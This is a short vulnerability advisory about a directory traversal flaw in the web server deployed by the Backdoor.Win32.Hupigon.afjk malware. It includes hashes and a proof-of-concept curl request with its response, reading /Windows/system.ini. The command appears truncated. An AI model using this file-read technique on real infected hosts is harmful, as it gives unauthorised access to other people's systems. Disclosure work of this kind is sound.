Backdoor.Win32.Hupigon.afjk Directory Traversal

Backdoor.Win32.Hupigon.afjk malware suffers from a directory traversal vulnerability.

MD5 | ad5c815c9b46e0a1874b24c9044ed258

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Hupigon.afjk
Vulnerability: Directory Traversal
Description: The malware deploys a Web server listening on TCP port 80. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir.
Type: PE32
MD5: 80b0fc8c0657c0ae7971f09af45c706b
Vuln ID: MVID-2021-0374
Disclosure: 10/27/2021

curl -v

Connected to ( port 80 (#0)
GET /Windows/system.ini HTTP/1.1
User-Agent: curl/7.55.1
Accept: */*

HTTP/1.0 200 OK
Server: dcs-http-server/1.0
Date: Thu, 06 Dec 2001 15:08:55 GMT
Content-length: 219

; for 16-bit app support


* Closing connection 0

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